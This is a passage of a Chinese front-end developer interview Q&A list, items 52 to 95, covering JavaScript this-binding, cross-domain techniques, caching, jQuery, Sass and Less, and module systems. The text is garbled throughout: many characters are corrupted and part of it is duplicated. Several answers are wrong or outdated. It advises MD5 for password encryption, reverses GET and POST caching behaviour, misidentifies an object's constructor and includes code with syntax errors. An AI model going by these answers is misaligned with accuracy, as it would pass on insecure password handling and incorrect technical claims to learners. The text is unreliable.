          封裝:隱蔽了對(duì)象內(nèi)部不需要暴露的細(xì)節(jié),使得內(nèi)部細(xì)節(jié)的變動(dòng)跟外界脫離,只依靠接口進(jìn)行通信.封裝性降低了編程的復(fù)雜性. 通過(guò)繼承,使得新建一個(gè)類(lèi)變得容易,一個(gè)類(lèi)從派生類(lèi)那里獲得其非私有的方法和公用屬性的繁瑣工作交給了編譯器. 而繼承和實(shí)現(xiàn)接口和運(yùn)行時(shí)的類(lèi)型綁定機(jī)制 所產(chǎn)生的多態(tài),使得不同的類(lèi)所產(chǎn)生的對(duì)象能夠?qū)ο嗤南⒆鞒霾煌姆磻?yīng),極大地提高了代碼的通用性.
          總之,面向?qū)ο蟮奶匦蕴岣吡舜笮统绦虻闹赜眯院涂删S護(hù)性.


          52.this是什么 在不同場(chǎng)景中分別代表什么

          (1)function a(){ this ?} //This:指向windows
          (2)function b(){ return function(){ this ?}}b()(); //This:指向windows
          (3)function c(){ return {s:function(){this}}}c().s(); //This:指向object
          由于其運(yùn)行期綁定的特性,JavaScript 中的 this 含義要豐富得多,它可以是全局對(duì)象、當(dāng)前對(duì)象或者任意對(duì)象,這完全取決于函數(shù)的調(diào)用方式。


          53.你對(duì)數(shù)據(jù)校驗(yàn)是怎么樣處理的?jquery.validate?

          通俗的說(shuō),就是為保證數(shù)據(jù)的完整性,用一種指定的算法對(duì)原始數(shù)據(jù)計(jì)算出的一個(gè)校驗(yàn)值。接收方用同樣的算法計(jì)算一次校驗(yàn)值,如果和隨數(shù)據(jù)提供的校驗(yàn)值一樣,就說(shuō)明數(shù)據(jù)是完整的。
          用正則表達(dá)式來(lái)處理;
          jquery.validate:為表單驗(yàn)證插件


          54.如何對(duì)登錄的賬號(hào)密碼進(jìn)行加密?

          Md5


          55.在jq中 mouseover mouseenter mouseout mouseleave 和 hover有什么關(guān)聯(lián)?

          mouseenter與mouseover:
          不論鼠標(biāo)指針穿過(guò)被選中元素或其子元素,都會(huì)觸發(fā)mouseover事件。
          只有在鼠標(biāo)指針穿過(guò)被選元素時(shí),才會(huì)觸發(fā)mouseentr事件。
          mouseout與mouseleave:
          不論鼠標(biāo)離開(kāi)被選元素還是任何子元素,都會(huì)觸發(fā)mouseout事件。
          只有在鼠標(biāo)指針離開(kāi)被選元素時(shí),才會(huì)觸發(fā)mouseleave事件。
          hover:
          hover是一個(gè)符合方法,相當(dāng)于mouseenter+mouseleave。


          56.jsonp原理? 缺點(diǎn)?

          工作原理:使用script標(biāo)簽實(shí)現(xiàn)跨域訪(fǎng)問(wèn),可在url中指定回調(diào)函數(shù),獲取JSON數(shù)據(jù)并在指定的回調(diào)函數(shù)中執(zhí)行jquery實(shí)現(xiàn)jsop。
          缺點(diǎn):只支持GET方式的jsonp實(shí)現(xiàn),是一種腳本注入行為存在一定的安全隱患。如果返回的數(shù)據(jù)格式有問(wèn)題或者返回失敗了,并不會(huì)報(bào)錯(cuò)。


          57.除了jsonp 還有什么跨域方式

          javascript跨域有兩種情況:
          1、基于同一父域的子域之間,如:http://a.c.com和http://b.c.com
          2、基于不同的父域之間,如:http://www.a.com和http://www.b.com
          3、端口的不同,如:http://www.a.com:8080和http://www.a.com:8088
          4、協(xié)議不同,如:http://www.a.com和https://www.a.com
          對(duì)于情況3和4,需要通過(guò)后臺(tái)proxy來(lái)解決,具體方式如下:
          a、在發(fā)起方的域下創(chuàng)建proxy程序
          b、發(fā)起方的js調(diào)用本域下的proxy程序
          c、proxy將請(qǐng)求發(fā)送給接收方并獲取相應(yīng)數(shù)據(jù)
          d、proxy將獲得的數(shù)據(jù)返回給發(fā)起方的js
          代碼和ajax調(diào)用一致,其實(shí)這種方式就是通過(guò)ajax進(jìn)行調(diào)用的
          而情況1和2除了通過(guò)后臺(tái)proxy這種方式外,還可以有多種辦法來(lái)解決:
          1、document.domain+iframe(只能解決情況1):
          a、在發(fā)起方頁(yè)面和接收方頁(yè)面設(shè)置document.domain,并將值設(shè)為父域的主域名(window.location.hostname)
          b、在發(fā)起方頁(yè)面創(chuàng)建一個(gè)隱藏的iframe,iframe的源是接收方頁(yè)面
          c、根據(jù)瀏覽器的不同,通過(guò)iframe.contentDocument || iframe.contentWindow.document來(lái)獲得接收方頁(yè)面的內(nèi)容
          d、通過(guò)獲得的接收方頁(yè)面的內(nèi)容來(lái)與接收方進(jìn)行交互
          這種方法有個(gè)缺點(diǎn),就是當(dāng)一個(gè)域被攻擊時(shí),另一個(gè)域會(huì)有安全漏洞出現(xiàn)。


          58.如何使用storage 對(duì)js文件進(jìn)行緩存

          由于sessionStorage - 針對(duì)一個(gè) session 的數(shù)據(jù)存儲(chǔ),所以我們一般利用localStorage儲(chǔ)存js文件,只有在第一次訪(fǎng)問(wèn)該頁(yè)面的時(shí)候加載js文件,以后在訪(fǎng)問(wèn)的時(shí)候加載本地localStorage執(zhí)行


          59.如何確保ajax或連接不走緩存路徑

          在A(yíng)jax中使用Get請(qǐng)求數(shù)據(jù)不會(huì)有頁(yè)面緩存的問(wèn)題,而使用POST請(qǐng)求可是有時(shí)候頁(yè)面會(huì)緩存我們提交的信息,導(dǎo)致我們發(fā)送的異步請(qǐng)求不能正確的返回我們想要的數(shù)據(jù)
          $.post(url,data ,ranNum:Math.random()} ,function(data){})
          ranNum : 這個(gè)是防止緩存的核心,每次發(fā)起請(qǐng)求都會(huì)用Math.random()方法生成一個(gè)隨機(jī)的數(shù)字,這樣子就會(huì)刷新url緩存


          60.split() join()?

          前者是切割成數(shù)組的形式,
          后者是將數(shù)組轉(zhuǎn)換成字符串


          61.slice() splice()?

          slice() 方法可從已有的數(shù)組中返回選定的元素。
          splice() 方法向/從數(shù)組中添加/刪除項(xiàng)目,然后返回被刪除的項(xiàng)目。


          62.typeof?typeof [ ]返回?cái)?shù)據(jù)類(lèi)型是?

          //判斷基本數(shù)據(jù)類(lèi)型;var a=[];typeof a輸出object;
          //本來(lái)判斷一個(gè)對(duì)象類(lèi)型用typeof是最好的,不過(guò)對(duì)于A(yíng)rray類(lèi)型是不適用的,
          //可以使用 instanceof操作符:
                 var arrayStr=new Array("1","2","3","4","5");    
                 alert(arrayStr instanceof Array); 
          //當(dāng)然以上在一個(gè)簡(jiǎn)單的頁(yè)面布局里面是沒(méi)有問(wèn)題的,如果是復(fù)雜頁(yè)面情況,
          //入獲取的是frame內(nèi)部的Array對(duì)象,可以用這個(gè)函數(shù)判斷:
                 function isArray(obj) {      
                    return Object.prototype.toString.call(obj) === '[object Array]';       
                 }
          


          63.disabled readyonly?

          readonly只針對(duì)input(text / password)和textarea有效,而disabled對(duì)于所有的表單元素都有效,當(dāng)表單元素在使用了disabled后,當(dāng)我們將表單以POST或GET的方式提交的話(huà),這個(gè)元素的值不會(huì)被傳遞出去,而readonly會(huì)將該值傳遞出去。


          64.同步異步?

          1、進(jìn)程同步:就是在發(fā)出一個(gè)功能調(diào)用時(shí),在沒(méi)有得到結(jié)果之前,該調(diào)用就不返回。也就是必須一件一件事做,等前一件做完了才能做下一件事
          2、異步的概念和同步相對(duì)。當(dāng)一個(gè)異步過(guò)程調(diào)用發(fā)出后,調(diào)用者不能立刻得到結(jié)果。實(shí)際處理這個(gè)調(diào)用的部件在完成后,通過(guò)狀態(tài)、通知和回調(diào)來(lái)通知調(diào)用者。


          65.promise

          Promise的構(gòu)造函數(shù)接收一個(gè)參數(shù),是函數(shù),并且傳入兩個(gè)參數(shù):resolve,reject,分別表示異步操作執(zhí)行成功后的回調(diào)函數(shù)和異步操作執(zhí)行失敗后的回調(diào)函數(shù)。


          66.函數(shù)fn1 函數(shù)fn2 函數(shù)fn3,如果想在三個(gè)函數(shù)都執(zhí)行完成后執(zhí)行某一個(gè)事件應(yīng)該如何實(shí)現(xiàn)?

          //1、設(shè)置事件監(jiān)聽(tīng)。
          //2、回調(diào)函數(shù):
          function fn1(){
                 console.log("執(zhí)行fn1");
                 fn2();
          }
          function fn2(){
                 console.log("執(zhí)行fn2");
                 fn3();
          }
          function fn3(){
                 console.log("執(zhí)行fn3");
                 mou();
          }
          function mou(){
                 console.log("執(zhí)行某個(gè)函數(shù)");
          }
          fn1();
          


          67.JavaScript提供了哪幾種“異步模式”?

          1、回調(diào)函數(shù)(callbacks)
          2、事件監(jiān)聽(tīng)
          3、Promise對(duì)象


          68.什么是移動(dòng)端的300ms延遲?什么是點(diǎn)擊穿透?解決方案?

          移動(dòng)端300ms延遲:假定這么一個(gè)場(chǎng)景。用戶(hù)在 瀏覽器里邊點(diǎn)擊了一個(gè)鏈接。由于用戶(hù)可以進(jìn)行雙擊縮放或者雙擊滾動(dòng)的操作,當(dāng)用戶(hù)一次點(diǎn)擊屏幕之后,瀏覽器并不能立刻判斷用戶(hù)是確實(shí)要打開(kāi)這個(gè)鏈接,還是想要進(jìn)行雙擊操作。因此,瀏覽器 就等待 300 毫秒,以判斷用戶(hù)是否再次點(diǎn)擊了屏幕。也就是說(shuō),當(dāng)我們點(diǎn)擊頁(yè)面的時(shí)候移動(dòng)端瀏覽器并不是立即作出反應(yīng),而是會(huì)等上一小會(huì)兒才會(huì)出現(xiàn)點(diǎn)擊的效果。
          點(diǎn)擊穿透:假如頁(yè)面上有兩個(gè)元素A和B。B元素在A(yíng)元素之上。我們?cè)贐元素的touchstart事件上注冊(cè)了一個(gè)回調(diào)函數(shù),該回調(diào)函數(shù)的作用是隱藏B元素。我們發(fā)現(xiàn),當(dāng)我們點(diǎn)擊B元素,B元素被隱藏了,隨后,A元素觸發(fā)了click事件。這是因?yàn)樵谝苿?dòng)端瀏覽器,事件執(zhí)行的順序是touchstart > touchend > click。而click事件有300ms的延遲,當(dāng)touchstart事件把B元素隱藏之后,隔了300ms,瀏覽器觸發(fā)了click事件,但是此時(shí)B元素不見(jiàn)了,所以該事件被派發(fā)到了A元素身上。如果A元素是一個(gè)鏈接,那此時(shí)頁(yè)面就會(huì)意外地跳轉(zhuǎn)。
          300ms延遲解決方案:
          (1) 禁用縮放,在html文檔頭部加meta標(biāo)簽如下:
          <meta name=”viewport” content=”user-scalable=no”/>
          (2) 更改默認(rèn)的視口寬度 (響應(yīng)式布局,消除了站點(diǎn)上可能存在的雙擊綻放的請(qǐng)求)
          <meta name=”viewport” content=”width=device-width”/>
          (3) Css touch-action
          touch-action:none;在該元素上的操作不會(huì)觸發(fā)用戶(hù)代理的任何行為,無(wú)需進(jìn)行3000ms延遲判斷。
          (4) FastClick為解決移動(dòng)端瀏覽器300毫秒延遲開(kāi)發(fā)的一個(gè)輕量級(jí)的庫(kù)
          點(diǎn)擊穿透解決方案:
          (1)只用touch
          (2)只用click
          (3)tap后延遲350ms再隱藏mask
          (4)pointer-events


          69.變量作用域?

          //變量作用域:一個(gè)變量的作用域是程序源代碼中定義這個(gè)變量的區(qū)域。全局變量擁有全局作用域,
          //在js代碼中任何地方都是有定義的。在函數(shù)內(nèi)聲明的變量只在函數(shù)體內(nèi)有定義,它們是局部變量,
          //作用域是局部性的。函數(shù)參數(shù)也是局部變量,它們只在函數(shù)體內(nèi)有定義。
          var a = "";
          window.b=''”;
          function(e) {
                 var c= "";
                 d="";
                 e="";
          }
          function go() {
                 console.info(this);//window
                 return function() {
                         console.info(this); // window
                         return {
                          b:function(){
                                 console.info(this); //b的父對(duì)象
                             }
                      }
                 }
          }
          go()().b();
          


          70.call & apply 兩者之間的區(qū)別

          call和apply都是改變this指向的方法,區(qū)別在于call可以寫(xiě)多個(gè)參數(shù),而apply只能寫(xiě)兩個(gè)參數(shù),第二個(gè)參數(shù)是一個(gè)數(shù)組,用于存放要傳的參數(shù)。


          71.call和apply 有什么好處?

          用call和apply:實(shí)現(xiàn)更好的繼承和擴(kuò)展,更安全。


          72.誰(shuí)是c的構(gòu)造函數(shù)?

          function ab() {
                   this.say = ""; } 
          ab.constructor = {} ab.name = ''; 
          var c = new ab(); 
          //構(gòu)造函數(shù)默認(rèn)指向函數(shù)本身,ab是一個(gè)類(lèi),它的構(gòu)造函數(shù)是它本身,
          //然后ab.constructor={};ab的構(gòu)造函數(shù)就指向{}了,c是ab的實(shí)例化對(duì)象,c的構(gòu)造函數(shù)就是{}
          //通過(guò)使用new的時(shí)候,創(chuàng)建對(duì)象發(fā)生了那些改變? 當(dāng)使用new操作時(shí),會(huì)馬上開(kāi)辟一個(gè)塊內(nèi)存,
          //創(chuàng)建一個(gè)空對(duì)象,并將this指向這個(gè)對(duì)象。接著,執(zhí)行構(gòu)造函數(shù)ab(),對(duì)這個(gè)空對(duì)象進(jìn)行構(gòu)造
          //(構(gòu)造函數(shù)里有什么屬性和方法都一一給這個(gè)空白對(duì)象裝配上去,這就是為何它叫構(gòu)造函數(shù)了)。 
          


          73.sass和less有什么區(qū)別?

          1.編譯環(huán)境不一樣 Sass的安裝需要Ruby環(huán)境,是在服務(wù)端處理的,而Less是需要引入less.js來(lái)處理Less代碼輸出css到瀏覽器,也可以在開(kāi)發(fā)環(huán)節(jié)使用Less,然后編譯成css文件,直接放到項(xiàng)目中。
          2.變量符不一相,less是@,而scss是$,而且它們的作用域也不一樣,less是塊級(jí)作用域
          3.輸出設(shè)置,Less沒(méi)有輸出設(shè)置,sass提供4種輸出選項(xiàng),nested,compact,compressed和expanded nested:嵌套縮進(jìn)的css代碼(默認(rèn)) expanded:展開(kāi)的多行css代碼 compact:簡(jiǎn)潔格式的css代碼 compressed:壓縮后的css代碼
          4.sass支持條件語(yǔ)句,可以使用if{}else{},for{}循環(huán)等等,而less不行
          5.引用外部css文件,sass引用外部文件必須以_開(kāi)頭,文件名如果以下劃線(xiàn)_形狀,sass會(huì)認(rèn)為該文件是一個(gè)引用文件,不會(huì)將其編譯為css文件。less引用外部文件和css中的@import沒(méi)什么差異。
          6.sass和less的工具庫(kù)不同。sass有工具庫(kù)Compass, 簡(jiǎn)單說(shuō),sass和Compass的關(guān)系有點(diǎn)像Javascript和jQuery的關(guān)系,Compass是sass的工具庫(kù)。在它的基礎(chǔ)上,封裝了一系列有用的模塊和模板,補(bǔ)充強(qiáng)化了sass的功能。less有UI組件庫(kù)Bootstrap,Bootstrap是web前端開(kāi)發(fā)中一個(gè)比較有名的前端UI組件庫(kù),Bootstrap的樣式文件部分源碼就是采用less語(yǔ)法編寫(xiě)。
          總結(jié):不管是sass,還是less,都可以視為一種基于CSS之上的高級(jí)語(yǔ)言,其目的是使得CSS開(kāi)發(fā)更靈活和更強(qiáng)大,sass的功能比less強(qiáng)大,基本可以說(shuō)是一種真正的編程語(yǔ)言了,less則相對(duì)清晰明了,易于上手,對(duì)編譯環(huán)境要求比較寬松。考慮到編譯sass要安裝Ruby,而Ruby官網(wǎng)在國(guó)內(nèi)訪(fǎng)問(wèn)不了,個(gè)人在實(shí)際開(kāi)發(fā)中更傾向于選擇less。


          74.bootstrap好處?

          自適應(yīng)和響應(yīng)式布局,12柵格系統(tǒng),統(tǒng)一的界面風(fēng)格和css樣式有利于團(tuán)隊(duì)開(kāi)發(fā)。編寫(xiě)靈活、穩(wěn)定、高質(zhì)量的 HTML 和 CSS 代碼的規(guī)范。


          75.開(kāi)發(fā)時(shí)如何對(duì)項(xiàng)目進(jìn)行管理?gulp?

          本人開(kāi)發(fā)時(shí),利用gulp等前端工作流管理工具管理項(xiàng)目。 gulp是新一代的前端項(xiàng)目構(gòu)建工具,你可以使用gulp及其插件對(duì)你的項(xiàng)目代碼(less,sass)進(jìn)行編譯,還可以壓縮你的js和css代碼,甚至壓縮你的圖片,能夠合并文件,壓縮文件,語(yǔ)法檢查,監(jiān)聽(tīng)文件變化,測(cè)試,轉(zhuǎn)換二進(jìn)制,轉(zhuǎn)換圖片等一系列功能。gulp僅有少量的API,所以非常容易學(xué)習(xí)。實(shí)現(xiàn)良好的項(xiàng)目管理。


          76.壓縮合并目的?http請(qǐng)求的優(yōu)化方式?

          1)Web性能優(yōu)化最佳實(shí)踐中最重要的一條是減少HTTP請(qǐng)求。而減少HTTP請(qǐng)求的最主要的方式就是,合并并壓縮JavaScript和CSS文件。
          CSS Sprites(CSS精靈):把全站的圖標(biāo)都放在一個(gè)圖像文件中,然后用CSS的background-image和background-position屬性定位來(lái)顯示其中的一小部分。
          合并腳本和樣式表; 圖片地圖:利用image map標(biāo)簽定義一個(gè)客戶(hù)端圖像映射,(圖像映射指帶有可點(diǎn)擊區(qū)域的一幅圖像)具體看:http://club.topsage.com/thread-2527479-1-1.html
          圖片js/css等靜態(tài)資源放在靜態(tài)服務(wù)器或CDN服時(shí),盡量采用不用的域名,這樣能防止cookie不會(huì)互相污染,減少每次請(qǐng)求的往返數(shù)據(jù)。
          css替代圖片, 緩存一些數(shù)據(jù)
          少用location.reload():使用location.reload() 會(huì)刷新頁(yè)面,刷新頁(yè)面時(shí)頁(yè)面所有資源 (css,js,img等) 會(huì)重新請(qǐng)求服務(wù)器。建議使用location.href="當(dāng)前頁(yè)url" 代替location.reload() ,使用location.href 瀏覽器會(huì)讀取本地緩存資源。


          77.ajax請(qǐng)求方式有幾種(8種)?

          1)$.get(url,[data],[callback])
          2)$.getJSON(url,[data],[callback])
          3)$.post(url,[data],[callback],[type])
          4)$.ajax(opiton)
          5)$.getScript( url, [callback] )
          6)jquery對(duì)象.load( url, [data], [callback] )
          7)serialize() 與 serializeArray()


          78.如何copy一個(gè)dom元素?

          原生Js方法:var div = document.getElementsByTagName('div')[0];
          var clone = div.cloneNode();
          Jquery方法:$('div').clone();
          在默認(rèn)情況下,.clone()方法不會(huì)復(fù)制匹配的元素或其后代元素中綁定的事件。不過(guò),可以為這個(gè)方法傳遞一個(gè)布爾值參數(shù),將這個(gè)參數(shù)設(shè)置為true, 就可以連同事件一起復(fù)制,即.clone(true)。


          79.數(shù)組的排序方法(sort)?排序?漢字排序?

          數(shù)組的排序方法:reverse()和sort()。reverse()方法會(huì)對(duì)反轉(zhuǎn)數(shù)組項(xiàng)的順序。
          Eg:var values = [0, 1, 5, 10, 15]; values.sort();//0,1,10,15,5
          var values = [1, 2, 3, 4, 5]; values.reverse();//5,4,3,2,1
          js中的排序(詳情參考:http://www.tuicool.com/articles/IjInMbU)
          利用sort排序, 冒泡排序, 快速排序, 插入排序, 希爾排序, 選擇排序
          歸并排序
          localeCompare() 方法用于字符串編碼的排序
          localeCompare 方法:返回一個(gè)值,指出在當(dāng)前的區(qū)域設(shè)置中兩個(gè)字符串是否相同。


          80.簡(jiǎn)述一下你理解的面向?qū)ο螅?/strong>

          面向?qū)ο笫腔谌f(wàn)物皆對(duì)象這個(gè)哲學(xué)觀(guān)點(diǎn). 把一個(gè)對(duì)象抽象成類(lèi),具體上就是把一個(gè)對(duì)象的靜態(tài)特征和動(dòng)態(tài)特征抽象成屬性和方法,也就是把一類(lèi)事物的算法和數(shù)據(jù)結(jié)構(gòu)封裝在一個(gè)類(lèi)之中,程序就是多個(gè)對(duì)象和互相之間的通信組成的.
          面向?qū)ο缶哂蟹庋b性,繼承性,多態(tài)性。
          封裝:隱蔽了對(duì)象內(nèi)部不需要暴露的細(xì)節(jié),使得內(nèi)部細(xì)節(jié)的變動(dòng)跟外界脫離,只依靠接口進(jìn)行通信.封裝性降低了編程的復(fù)雜性. 通過(guò)繼承,使得新建一個(gè)類(lèi)變得容易,一個(gè)類(lèi)從派生類(lèi)那里獲得其非私有的方法和公用屬性的繁瑣工作交給了編譯器. 而 繼承和實(shí)現(xiàn)接口和運(yùn)行時(shí)的類(lèi)型綁定機(jī)制 所產(chǎn)生的多態(tài),使得不同的類(lèi)所產(chǎn)生的對(duì)象能夠?qū)ο嗤南⒆鞒霾煌姆磻?yīng),極大地提高了代碼的通用性.
          總之,面向?qū)ο蟮奶匦蕴岣吡舜笮统绦虻闹赜眯院涂删S護(hù)性.


          81.如何創(chuàng)建一個(gè)對(duì)象?

          1. 工廠(chǎng)模式
          2. 構(gòu)造函數(shù)模式
          3. 原型模式
          4. 混合構(gòu)造函數(shù)和原型模式
          5. 動(dòng)態(tài)原型模式
          6. 寄生構(gòu)造函數(shù)模式
          7. 穩(wěn)妥構(gòu)造函數(shù)模式
          程序的設(shè)計(jì)模式?工廠(chǎng)模式?發(fā)布訂閱?
          1)設(shè)計(jì)模式并不是某種語(yǔ)言的某塊代碼,設(shè)計(jì)模式是一種思想,提供給在編碼時(shí)候遇到的各種問(wèn)題是可以采取的解決方案,更傾向于一種邏輯思維,而不是萬(wàn)能代碼塊。
          設(shè)計(jì)模式主要分三個(gè)類(lèi)型:創(chuàng)建型、結(jié)構(gòu)型和行為型。
          創(chuàng)建型模式:?jiǎn)卫J剑橄蠊S(chǎng)模式,建造者模式,工廠(chǎng)模式與原型模式。
          結(jié)構(gòu)型模式:適配器模式,橋接模式,裝飾者模式,組合模式,外觀(guān)模式,享元模式以及代理模式。
          行為型模式:模板方法模式,命令模式,迭代器模式,觀(guān)察者模式,中介者模式,備忘錄模式,解釋器模式,狀態(tài)模式,策略模式,職責(zé)鏈模式和訪(fǎng)問(wèn)者模式。
          2)與創(chuàng)建型模式類(lèi)似,工廠(chǎng)模式創(chuàng)建對(duì)象(視為工廠(chǎng)里的產(chǎn)品)是無(wú)需指定創(chuàng)建對(duì)象的具體類(lèi)。
          工廠(chǎng)模式定義一個(gè)用于創(chuàng)建對(duì)象的接口,這個(gè)接口由子類(lèi)決定實(shí)例化哪一個(gè)類(lèi)。該模式使一個(gè)類(lèi)的實(shí)例化延遲到了子類(lèi)。而子類(lèi)可以重寫(xiě)接口方法以便創(chuàng)建的時(shí)候指定自己的對(duì)象類(lèi)型。
          3)觀(guān)察者模式又叫做發(fā)布訂閱模式,它定義了一種一對(duì)多的關(guān)系,讓多個(gè)觀(guān)察者對(duì)象同時(shí)監(jiān)聽(tīng)某一個(gè)主題對(duì)象,這個(gè)主題對(duì)象的狀態(tài)發(fā)生改變時(shí)就會(huì)通知所有觀(guān)察著對(duì)象。它是由兩類(lèi)對(duì)象組成,主題和觀(guān)察者,主題負(fù)責(zé)發(fā)布事件,同時(shí)觀(guān)察者通過(guò)訂閱這些事件來(lái)觀(guān)察該主體,發(fā)布者和訂閱者是完全解耦的,彼此不知道對(duì)方的存在,兩者僅僅共享一個(gè)自定義事件的名稱(chēng)。
          ( 設(shè)計(jì)模式實(shí)在是太高深了,小伙伴門(mén)結(jié)合網(wǎng)上實(shí)例自行學(xué)習(xí),我實(shí)在是無(wú)能為力啊 )


          82.commonjs?requirejs?AMD|CMD|UMD?

          1.CommonJS就是為JS的表現(xiàn)來(lái)制定規(guī)范,NodeJS是這種規(guī)范的實(shí)現(xiàn),webpack 也是以CommonJS的形式來(lái)書(shū)寫(xiě)。因?yàn)閖s沒(méi)有模塊的功能,所以CommonJS應(yīng)運(yùn)而生。但它不能在瀏覽器中運(yùn)行。 CommonJS定義的模塊分為:{模塊引用(require)} {模塊定義(exports)} {模塊標(biāo)識(shí)(module)}
          2.RequireJS 是一個(gè)JavaScript模塊加載器。 RequireJS有兩個(gè)主要方法(method): define()和require()。這兩個(gè)方法基本上擁有相同的定義(declaration) 并且它們都知道如何加載的依賴(lài)關(guān)系,然后執(zhí)行一個(gè)回調(diào)函數(shù)(callback function)。與require()不同的是, define()用來(lái)存儲(chǔ)代碼作為一個(gè)已命名的模塊。 因此define()的回調(diào)函數(shù)需要有一個(gè)返回值作為這個(gè)模塊定義。這些類(lèi)似被定義的模塊叫作AMD (Asynchronous Module Definition,異步模塊定義)。
          3.AMD 是 RequireJS 在推廣過(guò)程中對(duì)模塊定義的規(guī)范化產(chǎn)出 AMD異步加載模塊。它的模塊支持對(duì)象 函數(shù) 構(gòu)造器 字符串 JSON等各種類(lèi)型的模塊。 適用AMD規(guī)范適用define方法定義模塊。
          4.CMD是SeaJS 在推廣過(guò)程中對(duì)模塊定義的規(guī)范化產(chǎn)出
          AMD與CDM的區(qū)別:
          (1)對(duì)于于依賴(lài)的模塊,AMD 是提前執(zhí)行(好像現(xiàn)在也可以延遲執(zhí)行了),CMD 是延遲執(zhí)行。
          (2)AMD 推崇依賴(lài)前置,CMD 推崇依賴(lài)就近。
          (3)AMD 推崇復(fù)用接口,CMD 推崇單用接口。
          (4)書(shū)寫(xiě)規(guī)范的差異。
          5.umd是AMD和CommonJS的糅合。
          AMD 瀏覽器第一的原則發(fā)展 異步加載模塊。
          CommonJS模塊以服務(wù)器第一原則發(fā)展,選擇同步加載,它的模塊無(wú)需包裝(unwrapped modules)。這迫使人們又想出另一個(gè)更通用的模式UMD ( Universal Module Definition ), 希望解決跨平臺(tái)的解決方案。UMD先判斷是否支持Node.js的模塊( exports )是否存在,存在則使用Node.js模塊模式。


          83. js的幾種繼承方式?

          1.使用對(duì)象冒充實(shí)現(xiàn)繼承
          2.采用call、Apply方法改變函數(shù)上下文實(shí)現(xiàn)繼承
          3.原型鏈方式繼承


          84. JavaScript原型,原型鏈 ? 有什么特點(diǎn)?

          在JavaScript中,一共有兩種類(lèi)型的值,原始值和對(duì)象值.每個(gè)對(duì)象都有一個(gè)內(nèi)部屬性[[prototype]],我們通常稱(chēng)之為原型.原型的值可以是一個(gè)對(duì)象,也可以是null.如果它的值是一個(gè)對(duì)象,則這個(gè)對(duì)象也一定有自己的原型.這樣就形成了一條線(xiàn)性的鏈,我們稱(chēng)之為原型鏈.
          訪(fǎng)問(wèn)一個(gè)對(duì)象的原型可以使用ES5中的Object.getPrototypeOf方法,或者ES6中的__proto__屬性. 原型鏈的作用是用來(lái)實(shí)現(xiàn)繼承,比如我們新建一個(gè)數(shù)組,數(shù)組的方法就是從數(shù)組的原型上繼承而來(lái)的。


          85. eval是做什么的?

          它的功能是把對(duì)應(yīng)的字符串解析成JS代碼并運(yùn)行; 應(yīng)該避免使用eval,不安全,非常耗性能(2次,一次解析成js語(yǔ)句,一次執(zhí)行)。


          86. null,undefined 的區(qū)別?

          undefined表示變量聲明但未初始化的值,null表示準(zhǔn)備用來(lái)保存對(duì)象,還沒(méi)有真正保存對(duì)象的值。從邏輯角度看,null表示一個(gè)空對(duì)象指針。


          87. JSON 的了解?

          JSON(JavaScript Object Notation) 是一種輕量級(jí)的數(shù)據(jù)交換格式。 它是基于JavaScript的一個(gè)子集。數(shù)據(jù)格式簡(jiǎn)單, 易于讀寫(xiě), 占用帶寬小。


          88. js延遲加載的方式有哪些?

          defer和async、動(dòng)態(tài)創(chuàng)建DOM方式(用得最多)、按需異步載入js


          89. ajax 是什么?

          異步j(luò)avascript和XML,是指一種創(chuàng)建交互式網(wǎng)頁(yè)應(yīng)用的網(wǎng)頁(yè)開(kāi)發(fā)技術(shù)。通過(guò)后臺(tái)與服務(wù)器進(jìn)行少量數(shù)據(jù)交換,AJAX可以使網(wǎng)頁(yè)實(shí)現(xiàn)異步更新。這意味著可以在不重新加載整個(gè)網(wǎng)頁(yè)的情況下,對(duì)網(wǎng)頁(yè)的某部分進(jìn)行更新。


          90. 同步和異步的區(qū)別?

          javascript同步表示sync,指:代碼依次執(zhí)行 javascript異步表示async,指:代碼執(zhí)行不按順序,‘跳過(guò)’執(zhí)行,待其他某些代碼執(zhí)行完后再來(lái)執(zhí)行,成為異步。


          91. 如何解決跨域問(wèn)題?

          Jsonp、iframe、window.name、window.postMessage、服務(wù)器上設(shè)置代理頁(yè)面


          92. 異步加載的方式有哪些?

          (1) defer,只支持IE
          (2) async:true
          (3) 創(chuàng)建script,插入到DOM中,加載完畢后callBack


          93. jQuery與jQuery UI 有啥區(qū)別?

          jQuery是一個(gè)js庫(kù),主要提供的功能是選擇器,屬性修改和事件綁定等等。
          jQuery UI則是在jQuery的基礎(chǔ)上,利用jQuery的擴(kuò)展性,設(shè)計(jì)的插件。提供了一些常用的界面元素,諸如對(duì)話(huà)框、拖動(dòng)行為、改變大小行為等等。


          94. 你有哪些性能優(yōu)化的方法?

          (1) 減少http請(qǐng)求次數(shù):CSS Sprites, JS、CSS源碼壓縮、圖片大小控制合適;網(wǎng)頁(yè)Gzip, CDN托管,data緩存 ,圖片服務(wù)器。
          (2) 前端模板 JS+數(shù)據(jù),減少由于HTML標(biāo)簽導(dǎo)致的帶寬浪費(fèi),前端用變量保存AJAX請(qǐng)求結(jié)果,每次操作本地變量,不用請(qǐng)求,減少請(qǐng)求次數(shù)
          (3) 用innerHTML代替DOM操作,減少DOM操作次數(shù),優(yōu)化javascript性能。
          (4) 當(dāng)需要設(shè)置的樣式很多時(shí)設(shè)置className而不是直接操作style。
          (5) 少用全局變量、緩存DOM節(jié)點(diǎn)查找的結(jié)果。減少I(mǎi)O讀取操作。
          (6) 避免使用CSS Expression(css表達(dá)式)又稱(chēng)Dynamic properties(動(dòng)態(tài)屬性)。
          (7) 圖片預(yù)加載,將樣式表放在頂部,將腳本放在底部 加上時(shí)間戳。
          (8) 避免在頁(yè)面的主體布局中使用table,table要等其中的內(nèi)容完全下載之后才會(huì)顯示出來(lái),顯示比div+css布局慢。


          95. 一個(gè)頁(yè)面從輸入 URL 到頁(yè)面加載顯示完成,這個(gè)過(guò)程中都發(fā)生了什么?(流程說(shuō)的越詳細(xì)越好)

          查找瀏覽器緩存
          DNS解析、查找該域名對(duì)應(yīng)的IP地址、重定向(301)、發(fā)出第二個(gè)GET請(qǐng)求
          進(jìn)行HTTP協(xié)議會(huì)話(huà)
          客戶(hù)端發(fā)送報(bào)頭(請(qǐng)求報(bào)頭)
          服務(wù)器回饋報(bào)頭(響應(yīng)報(bào)頭)
          html文檔開(kāi)始下載
          文檔樹(shù)建立,根據(jù)標(biāo)記請(qǐng)求所需指定MIME類(lèi)型的文件
          文件顯示
          瀏覽器這邊做的工作大致分為以下幾步:
          加載:根據(jù)請(qǐng)求的URL進(jìn)行域名解析,向服務(wù)器發(fā)起請(qǐng)求,接收文件(HTML、JS、CSS、圖象等)。
